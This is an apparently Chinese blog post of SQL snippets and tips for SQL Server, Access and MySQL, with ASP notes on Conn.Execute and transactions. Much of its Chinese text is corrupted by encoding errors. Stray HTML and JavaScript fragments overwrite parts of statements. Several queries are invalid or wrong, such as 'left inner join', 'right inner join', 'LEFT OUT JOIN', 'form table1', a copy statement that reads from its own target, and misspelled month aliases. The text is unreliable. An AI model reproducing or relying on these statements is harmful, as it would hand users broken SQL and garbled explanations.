　　 SUM(decode(TO_CHAR(a.telfeedate, ' mm '), '01', a.factration)) AS JAN,

　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '02', a.factration)) AS FRI,

　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '03', a.factration)) AS MAR,

　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '04', a.factration)) AS APR,

　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '05', a.factration)) AS MAY,

　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '06', a.factration)) AS JUE,

　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '07', a.factration)) AS JUL,

　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '08', a.factration)) AS AGU,

　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '09', a.factration)) AS SEP,

　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '10', a.factration)) AS OCT,

　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '11', a.factration)) AS NOV,

　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '12', a.factration)) AS DEC

　　FROM (SELECT a.userper, a.tel, a.standfee, b.telfeedate, b.factration

　　 FROM TELFEESTAND a, TELFEE b

　　 WHERE a.tel = b.telfax) a

　　GROUP BY a.userper, a.tel, a.standfee, TO_CHAR(a.telfeedate, 'yyyy')

　　说明�Q�四表联查问题：　　

　　SQL: select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where .....

　　说明�Q�得到表中最��的未��用的ID�?

　　SQL:　

　　SELECT (CASE WHEN EXISTS(SELECT * FROM Handle b WHERE b.HandleID = 1) THEN MIN(HandleID) + 1 ELSE 1 END) as HandleID

　　 FROM Handle

　　 WHERE NOT HandleID IN (SELECT a.HandleID - 1 FROM Handle a)

下列语句部分是Mssql语句�Q�不可以在access中��用�?br />
SQL分类�Q?
DDL—数据定义语�a�(CREATE�Q�ALTER�Q�DROP�Q�DECLARE)
DML—数据操�U�语�a�(SELECT�Q�DELETE�Q�UPDATE�Q�INSERT)
DCL—数据控制语�a�(GRANT�Q�REVOKE�Q�COMMIT�Q�ROLLBACK)

首先,��要介�l�基��语句�Q?br />1、说明：创徏数据�?br />CREATE DATABASE database-name
2、说明：删除数据�?br />drop database dbname
3、说明：备䆾sql server
--- 创徏备䆾数据�?device
USE master
EXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwind_1.dat'
--- 开�?备䆾
BACKUP DATABASE pubs TO testBack
4、说明：创徏新表
create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)
�Ҏ��已有的表创徏新表�Q?
A�Q�create table tab_new like tab_old (使用旧表创徏新表)
B�Q�create table tab_new as select col1,col2�?from tab_old definition only
5、说明：删除新表drop table tabname
6、说明：增加一个列
Alter table tabname add column col type
注：列增加后��不能删除。DB2中列加上后数据类型也不能改变�Q�唯一能改变的是增加varchar�c�d��的长度�?br />7、说明：��d��主键�Q?Alter table tabname add primary key(col)
说明�Q�删除主键： Alter table tabname drop primary key(col)
8、说明：创徏索引�Q�create [unique] index idxname on tabname(col�?)
删除索引�Q�drop index idxname
注：索引是不可更改的�Q�想更改必须删除重新建�?br />9、说明：创徏视图�Q�create view viewname as select statement
删除视图�Q�drop view viewname
10、说明：几个��单的基本的sql语句
选择�Q�select * from table1 where 范围
插入�Q�insert into table1(field1,field2) values(value1,value2)
删除�Q�delete from table1 where 范围
更新�Q�update table1 set field1=value1 where 范围
查找�Q�select * from table1 where field1 like �?value1%�?---like的语法很�_�֦��Q�查资料!
排序�Q�select * from table1 order by field1,field2 [desc]
��L��Q�select count * as totalcount from table1
求和�Q�select sum(field1) as sumvalue from table1
�q�_��Q�select avg(field1) as avgvalue from table1
最大：select max(field1) as maxvalue from table1
最��：select min(field1) as minvalue from table1
11、说明：几个高��查询�q�算�?br />A�Q?UNION �q�算�W?
UNION �q�算�W�通过�l�合其他两个�l�果表（例如 TABLE1 �?TABLE2�Q��ƈ消去表中��M��重复行而派生出一个结果表。当 ALL �?UNION 一起��用时�Q�即 UNION ALL�Q�，不消除重复行。两�U�情况下�Q�派生表的每一行不是来�?TABLE1 ��是来自 TABLE2�?
B�Q?EXCEPT �q�算�W?
EXCEPT �q�算�W�通过包括所有在 TABLE1 中但不在 TABLE2 中的行�ƈ消除所有重复行而派生出一个结果表。当 ALL �?EXCEPT 一起��用时 (EXCEPT ALL)�Q�不消除重复行�?
C�Q?INTERSECT �q�算�W?br />INTERSECT �q�算�W�通过只包�?TABLE1 �?TABLE2 中都有的行�ƈ消除所有重复行而派生出一个结果表。当 ALL �?INTERSECT 一起��用时 (INTERSECT ALL)�Q�不消除重复行�?
注：使用�q�算词的几个查询�l�果行必��L��一致的�?
12、说明：使用外连�?
A、left outer join�Q?
左外�q�接�Q�左�q�接�Q�：�l�果集几包括�q�接表的匚w��行，也包括左�q�接表的所有行�?
SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c
B�Q�right outer join:
叛_��q�接(双��?�Q�结果集既包括连接表的匹配连接行�Q�也包括双��接表的所有行�?
C�Q�full outer join�Q?
全外�q�接�Q�不仅包括符可��接表的匹配行�Q�还包括两个�q�接表中的所有记录�?br />
其次�Q�大家来看一些不错的sql语句
1、说明：复制�?只复制结�?源表名：a 新表名：b) (Access可用)
法一�Q�select * into b from a where 1<>1
法二�Q�select top 0 * into b from a

2、说明：拯��?拯��数据,源表名：a 目标表名�Q�b) (Access可用)
insert into b(a, b, c) select d,e,f from b;

3、说明：跨数据库之间表的拯��(具体数据使用�l�对路径) (Access可用)
insert into b(a, b, c) select d,e,f from b in ‘具体数据库�?where 条�g
例子�Q?.from b in '"&Server.MapPath(".")&"\data.mdb" &"' where..

4、说明：子查�?表名1�Q�a 表名2�Q�b)
select a,b,c from a where a IN (select d from b ) 或�? select a,b,c from a where a IN (1,2,3)

5、说明：昄��文章、提交�h和最后回复时�?br />select a.title,a.username,b.adddate from table a,(select max(adddate) adddate from table where table.title=a.title) b

6、说明：外连接查�?表名1�Q�a 表名2�Q�b)
select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c

7、说明：在线视图查询(表名1�Q�a )
select * from (SELECT a,b,c FROM a) T where t.a > 1;

8、说明：between的用�?between限制查询数据范围时包括了边界�?not between不包�?br />select * from table1 where time between time1 and time2
select a,b,c, from table1 where a not between 数�? and 数�?

9、说明：in 的��用方�?br />select * from table1 where a [not] in (‘�?�?’�?�?’�?�?’�?�?

10、说明：两张兌��表，删除主表中已�l�在副表中没有的信息
delete from table1 where not exists ( select * from table2 where table1.field1=table2.field1 )

11、说明：四表联查问题�Q?br />select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where .....

12、说明：日程安排提前五分钟提�?
SQL: select * from 日程安排 where datediff('minute',f开始时�?getdate())>5

13、说明：一条sql 语句搞定数据库分��?br />select top 10 b.* from (select top 20 主键字段,排序字段 from 表名 order by 排序字段 desc) a,表名 b where b.主键字段 = a.主键字段 order by a.排序字段

14、说明：�?0条记�?br />select top 10 * form table1 where 范围

15、说明：选择在每一�l�b值相同的数据中对应的a最大的记录的所有信�?�c�M��q�样的用法可以用于论坛每月排行榜,每月热销产品分析,按科目成�l�排�?�{�等.)
select a,b,c from tablename ta where a=(select max(a) from tablename tb where tb.b=ta.b)

16、说明：包括所有在 TableA 中但不在 TableB和TableC 中的行�ƈ消除所有重复行而派生出一个结果表
(select a from tableA ) except (select a from tableB) except (select a from tableC)

17、说明：随机取出10条数�?br />select top 10 * from tablename order by newid()

18、说明：随机选择记录
select newid()

19、说明：删除重复记录
Delete from tablename where id not in (select max(id) from tablename group by col1,col2,...)

20、说明：列出数据库里所有的表名
select name from sysobjects where type='U'

21、说明：列出表里的所有的
select name from syscolumns where id=object_id('TableName')

22、说明：列示type、vender、pcs字段�Q�以type字段排列�Q�case可以方便地实现多重选择�Q�类似select 中的case�?br />select type,sum(case vender when 'A' then pcs else 0 end),sum(case vender when 'C' then pcs else 0 end),sum(case vender when 'B' then pcs else 0 end) FROM tablename group by type
昄��l�果�Q?br />type vender pcs
电脑 A 1
电脑 A 1
光盘 B 2
光盘 A 2
手机 B 3
手机 C 3

23、说明：初始化表table1
TRUNCATE TABLE table1

24、说明：选择�?0�?5的记�?br />select top 5 * from (select top 15 * from table order by id asc) table_别名 order by id desc
　　
随机选择数据库记录的�Ҏ��Q��用Randomize函数�Q�通过SQL语句实现�Q?br />　　对存储在数据库中的数据来��_��随机数特性能�l�出上面的效果，但它们可能太慢了些。你不能要求ASP“找个随机数”然后打印出来。实际上常见的解��x��案是建立如下所�C�的循环�Q?
Randomize
RNumber = Int(Rnd*499) +1
　
While Not objRec.EOF
If objRec("ID") = RNumber THEN
... �q�里是执行脚�?...
end if
objRec.MoveNext
Wend
　
　　�q�很�Ҏ��理解。首先，你取�?�?00范围之内的一个随机数�Q�假�?00��是数据库内记录的��L��Q�。然后，你遍历每一记录来测试ID 的倹{��检查其是否匚w��RNumber。满��x��件的话就执行由THEN 关键字开始的那一块代码。假如你的RNumber �{�于495�Q�那么要循环一遍数据库��q��旉��可就长了。虽�?00�q�个数字看�v来大了些�Q�但相比更�ؓ�E�_��的企业解��x��案这�q�是个小型数据库了，后者通常在一个数据库内就包含了成千上万条记录。这时候不��死定了�Q?
　　采用SQL�Q�你��可以很快地扑և�准确的记录�ƈ且打开一个只包含该记录的recordset�Q�如下所�C�：
Randomize
RNumber = Int(Rnd*499) + 1
　
SQL = "SELECT * FROM Customers WHERE ID = " & RNumber
　
set objRec = ObjConn.Execute(SQL)
Response.WriteRNumber & " = " & objRec("ID") & " " & objRec("c_email")
　
　　不必写出RNumber 和ID�Q�你只需要检查匹配情况即可。只要你对以上代码的工作满意�Q�你自可按需操作“随机”记录。Recordset没有包含其他内容�Q�因此你很快��p��扑ֈ�你需要的记录�q�样��大大降低了处理旉��?
再谈随机�?
　　现在你下定决心要榨干Random 函数的最后一滴��a�Q�那么你可能会一�ơ取出多条随��录或者想采用一定随��围内的记录。把上面的标准Random �C�Z��扩展一下就可以用SQL应对上面两种情况了�?
　　��Z��取出几条随机选择的记录�ƈ存放在同一recordset内，你可以存储三个随机数�Q�然后查询数据库获得匚w��q�些数字的记录：
SQL = "SELECT * FROM Customers WHERE ID = " & RNumber & " OR ID = " & RNumber2 & " OR ID = " & RNumber3
　
　　假如你想选出10条记录（也许是每�ơ页面装载时�?0条链接的列表�Q�，你可以用BETWEEN 或者数学等式选出�W�一条记录和适当数量的递增记录。这一操作可以通过好几�U�方式来完成�Q�但�?SELECT 语句只显�C�Z��U�可能（�q�里的ID 是自动生成的��L��Q�：
SQL = "SELECT * FROM Customers WHERE ID BETWEEN " & RNumber & " AND " & RNumber & "+ 9"

　　注意�Q�以上代码的执行目的不是��查数据库内是否有9条�ƈ发记录�?br />
　
随机��d��若干条记录，��试�q?br />Access语法�Q�SELECT top 10 * From 表名 ORDER BY Rnd(id)
Sql server:select top n * from 表名 order by newid()
mysql550)this.style.width=550; if(this.height>550)this.style.width=(this.width*550)/this.height;" />elect * From 表名 Order By rand() Limit n
Access左连接语�?最�q�开发要用左�q�接,Access帮助什么都没有,�|�上没有Access的SQL说明,只有自己��试, 现在��C��以备后查)
语法550)this.style.width=550; if(this.height>550)this.style.width=(this.width*550)/this.height;" />elect table1.fd1,table1,fd2,table2.fd2 From table1 left join table2 on table1.fd1,table2.fd1 where ...
使用SQL语句 �?..代替�q�长的字�W�串昄��
语法�Q?br />SQL数据库：select case when len(field)>10 then left(field,10)+'...' else field end as news_name,news_id from tablename
Access数据库：SELECT iif(len(field)>2,left(field,2)+'...',field) FROM tablename;
　
Conn.Execute说明
Execute�Ҏ��
　　该方法用于执行SQL语句。根据SQL语句执行后是否返回记录集�Q�该�Ҏ��的��用格式分��Z��下两�U�：
　　　　1�Q�执行SQL查询语句�Ӟ��返回查询得到的记录集。用法�ؓ�Q?br />　　　　Set 对象变量�?�q�接对象.Execute("SQL 查询语言")
　　　Execute�Ҏ��调用后，会自动创��录集对象�Q��ƈ��查询结果存储在该记录对象中�Q�通过Set�Ҏ��Q�将记录集赋�l�指定的对象保存�Q�以后对象变量就代表了该记录集对象�?br />
　　　　2�Q�执行SQL的操作性语�a��Ӟ��没有记录集的�q�回。此时用法�ؓ�Q?br />　　　　�q�接对象.Execute "SQL 操作性语�? [, RecordAffected][, Option]
　　　　　　·RecordAffected 为可选项�Q�此出可攄��一个变量，SQL语句执行后，所生效的记录数会自动保存到该变量中。通过讉K��该变量，��可知道SQL语句队多��条记录�q�行了操作�?br />　　　　　　·Option 可选项�Q�该参数的取值通常为adCMDText�Q�它用于告诉ADO�Q�应该将Execute�Ҏ��之后的第一个字�W�解释�ؓ命��o文本。通过指定该参敎ͼ�可��执行更高效�?br />
·BeginTrans、RollbackTrans、CommitTrans�Ҏ��
　　�q�三个方法是�q�接对象提供的用于事务处理的�Ҏ��。BeginTrans用于开始一个事物；RollbackTrans用于回滚事务�Q�CommitTrans用于提交所有的事务处理�l�果�Q�即��认事务的处理�?br />　　事务处理可以��一�l�操作视��Z��个整体，只有全部语句都成功执行后�Q�事务处理才��成功；若其中有一个语句执行失败，则整个处理就��失败，�q�恢复到处里前的状态�?br />　　BeginTrans和CommitTrans用于标记事务的开始和�l�束�Q�在�q�两个之间的语句�Q�就是作��Z��务处理的语句。判断事务处理是否成功，可通过�q�接对象的Error集合来实玎ͼ�若Error集合的成员个��C��?�Q�则说明有错误发生，事务处理��p�|。Error集合中的每一个Error对象�Q�代表一个错误信息�?/div>

liaojiyong 2006-05-24 18:51 发表评论